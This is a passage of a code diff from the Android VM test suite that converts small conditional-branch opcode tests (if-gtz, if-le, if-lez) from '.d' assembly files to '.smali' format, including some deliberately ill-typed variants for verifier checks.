+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_8.smali
@@ -0,0 +1,24 @@
+.source "T_if_gtz_8.java"
+.class  public Ldot/junit/opcodes/if_gtz/d/T_if_gtz_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-gtz v5, :Label8
+       const/4 v0, 0
+       return v0
+
+:Label8
+       nop
+       const/4 v0, 0
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_9.d
deleted file mode 100644
index 08e8ff9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_9.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gtz_9.java
-.class public dot.junit.opcodes.if_gtz.d.T_if_gtz_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)Z
-.limit regs 6
-
-       if-gtz v5, Label8
-       const/4 v0, 0
-       return v0
-
-Label8:
-       const v0, 0
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_9.smali
new file mode 100644
index 0000000..4ad1624
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_9.smali
@@ -0,0 +1,23 @@
+.source "T_if_gtz_9.java"
+.class  public Ldot/junit/opcodes/if_gtz/d/T_if_gtz_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-gtz v5, :Label8
+       const/4 v0, 0
+       return v0
+
+:Label8
+       const v0, 0
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_1.d
deleted file mode 100644
index a9fbd14..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_1.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_le_1.java
-.class public dot.junit.opcodes.if_le.d.T_if_le_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       if-le v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-       
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_1.smali
new file mode 100644
index 0000000..0a4f8c1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_1.smali
@@ -0,0 +1,23 @@
+.source "T_if_le_1.java"
+.class  public Ldot/junit/opcodes/if_le/d/T_if_le_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-le v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_10.d
deleted file mode 100644
index 7c9ca12..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_10.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_le_10.java
-.class public dot.junit.opcodes.if_le.d.T_if_le_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)Z
-.limit regs 8
-
-       if-le v6, v7, Label10
-       const/4 v6, 0
-       return v6
-
-Label10:
-       const v6, 0
-       nop
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_10.smali
new file mode 100644
index 0000000..dd63e70
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_10.smali
@@ -0,0 +1,24 @@
+.source "T_if_le_10.java"
+.class  public Ldot/junit/opcodes/if_le/d/T_if_le_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-le v6, v7, :Label10
+       const/4 v6, 0
+       return v6
+
+:Label10
+       const v6, 0
+       nop
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_11.d
deleted file mode 100644
index aaeecc9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_11.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_le_11.java
-.class public dot.junit.opcodes.if_le.d.T_if_le_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)I
-.limit regs 8
-
-       if-le v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-       
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_11.smali
new file mode 100644
index 0000000..25da018
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_11.smali
@@ -0,0 +1,23 @@
+.source "T_if_le_11.java"
+.class  public Ldot/junit/opcodes/if_le/d/T_if_le_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 8
+
+       if-le v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_12.d
deleted file mode 100644
index 2f9f581..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_12.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_le_12.java
-.class public dot.junit.opcodes.if_le.d.T_if_le_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       if-le v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-       
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_12.smali
new file mode 100644
index 0000000..5aa7fa6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_12.smali
@@ -0,0 +1,23 @@
+.source "T_if_le_12.java"
+.class  public Ldot/junit/opcodes/if_le/d/T_if_le_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-le v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_3.d
deleted file mode 100644
index e389992..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_3.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_if_le_3.java
-.class public dot.junit.opcodes.if_le.d.T_if_le_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FI)I
-.limit regs 8
-
-       if-le v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-       
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_3.smali
new file mode 100644
index 0000000..8a21737
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_3.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_le_3.java"
+.class  public Ldot/junit/opcodes/if_le/d/T_if_le_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)I
+.registers 8
+
+       if-le v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_4.d
deleted file mode 100644
index 514c26b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_4.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_le_4.java
-.class public dot.junit.opcodes.if_le.d.T_if_le_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       if-le v6, v8, Label11
-       const/16 v6, 1234
-       return v6
-       
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_4.smali
new file mode 100644
index 0000000..0ad63aa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_4.smali
@@ -0,0 +1,23 @@
+.source "T_if_le_4.java"
+.class  public Ldot/junit/opcodes/if_le/d/T_if_le_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-le v6, v8, :Label11
+       const/16 v6, 1234
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_5.d
deleted file mode 100644
index a70e43f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_5.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_le_5.java
-.class public dot.junit.opcodes.if_le.d.T_if_le_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(ID)I
-.limit regs 8
-
-       if-le v5, v6, Label11
-       const/16 v5, 1234
-       return v5
-       
-Label11:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_5.smali
new file mode 100644
index 0000000..8caa8dd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_5.smali
@@ -0,0 +1,23 @@
+.source "T_if_le_5.java"
+.class  public Ldot/junit/opcodes/if_le/d/T_if_le_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(ID)I
+.registers 8
+
+       if-le v5, v6, :Label11
+       const/16 v5, 1234
+       return v5
+       
+:Label11
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_6.d
deleted file mode 100644
index fb8bb3c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_6.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_le_6.java
-.class public dot.junit.opcodes.if_le.d.T_if_le_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)I
-.limit regs 8
-
-       if-le v5, v7, Label11
-       const/16 v5, 1234
-       return v5
-
-Label11:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_6.smali
new file mode 100644
index 0000000..7bc5670
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_6.smali
@@ -0,0 +1,23 @@
+.source "T_if_le_6.java"
+.class  public Ldot/junit/opcodes/if_le/d/T_if_le_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       if-le v5, v7, :Label11
+       const/16 v5, 1234
+       return v5
+
+:Label11
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_7.d
deleted file mode 100644
index cf76654..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_7.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_le_7.java
-.class public dot.junit.opcodes.if_le.d.T_if_le_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/String;I)I
-.limit regs 8
-
-       if-le v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-       
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_7.smali
new file mode 100644
index 0000000..6b489e8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_7.smali
@@ -0,0 +1,23 @@
+.source "T_if_le_7.java"
+.class  public Ldot/junit/opcodes/if_le/d/T_if_le_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;I)I
+.registers 8
+
+       if-le v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_8.d
deleted file mode 100644
index 34562f1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_8.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_if_le_8.java
-.class public dot.junit.opcodes.if_le.d.T_if_le_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       if-le v6, v0, Label11
-       const/16 v6, 1234
-       return v6
-       
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_8.smali
new file mode 100644
index 0000000..2c3fed1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_8.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_le_8.java"
+.class  public Ldot/junit/opcodes/if_le/d/T_if_le_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-le v6, v0, :Label11
+       const/16 v6, 1234
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_9.d
deleted file mode 100644
index 99fa7c4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_9.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_le_9.java
-.class public dot.junit.opcodes.if_le.d.T_if_le_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)Z
-.limit regs 8
-
-       if-le v6, v7, Label10
-       const/4 v6, 0
-       return v6
-
-Label10:
-       nop
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_9.smali
new file mode 100644
index 0000000..5e4f615
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_9.smali
@@ -0,0 +1,23 @@
+.source "T_if_le_9.java"
+.class  public Ldot/junit/opcodes/if_le/d/T_if_le_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-le v6, v7, :Label10
+       const/4 v6, 0
+       return v6
+
+:Label10
+       nop
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_1.d
deleted file mode 100644
index 6429797..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_1.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_lez_1.java
-.class public dot.junit.opcodes.if_lez.d.T_if_lez_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 6
-
-       if-lez v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_1.smali
new file mode 100644
index 0000000..0914d7d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_1.smali
@@ -0,0 +1,23 @@
+.source "T_if_lez_1.java"
+.class  public Ldot/junit/opcodes/if_lez/d/T_if_lez_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-lez v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_10.d
deleted file mode 100644
index 82a8268..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_10.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_lez_10.java
-.class public dot.junit.opcodes.if_lez.d.T_if_lez_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)Z
-.limit regs 6
-
-       if-lez v5, Label8
-       const/4 v5, 0
-       return v5
-
-Label8:
-       nop
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_10.smali
new file mode 100644
index 0000000..b2797ec
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_10.smali
@@ -0,0 +1,23 @@
+.source "T_if_lez_10.java"
+.class  public Ldot/junit/opcodes/if_lez/d/T_if_lez_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-lez v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       nop
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_2.d
deleted file mode 100644
index cbe7f34..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_2.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_lez_2.java
-.class public dot.junit.opcodes.if_lez.d.T_if_lez_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 6
-
-       if-lez v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_2.smali
new file mode 100644
index 0000000..426c58b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_2.smali
@@ -0,0 +1,23 @@
+.source "T_if_lez_2.java"
+.class  public Ldot/junit/opcodes/if_lez/d/T_if_lez_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 6
+
+       if-lez v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_3.d
deleted file mode 100644
index 4efd27a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_3.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_lez_3.java
-.class public dot.junit.opcodes.if_lez.d.T_if_lez_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 6
-
-       if-lez v6, Label9
-       const/16 v6, 1234
-       return v6
-
-Label9:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_3.smali
new file mode 100644
index 0000000..be67d4a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_3.smali
@@ -0,0 +1,23 @@
+.source "T_if_lez_3.java"
+.class  public Ldot/junit/opcodes/if_lez/d/T_if_lez_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-lez v6, :Label9
+       const/16 v6, 1234
+       return v6
+
+:Label9
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_4.d
deleted file mode 100644
index 985254d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_4.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_lez_4.java
-.class public dot.junit.opcodes.if_lez.d.T_if_lez_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 6
-
-       if-lez v4, Label9
-       const/16 v4, 1234
-       return v4
-
-Label9:
-       const/4 v4, 1
-       return v4
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_4.smali
new file mode 100644
index 0000000..012fbb4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_4.smali
@@ -0,0 +1,23 @@
+.source "T_if_lez_4.java"
+.class  public Ldot/junit/opcodes/if_lez/d/T_if_lez_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 6
+
+       if-lez v4, :Label9
+       const/16 v4, 1234
+       return v4
+
+:Label9
+       const/4 v4, 1
+       return v4
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_5.d
deleted file mode 100644
index 705c855..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_5.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_lez_5.java
-.class public dot.junit.opcodes.if_lez.d.T_if_lez_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
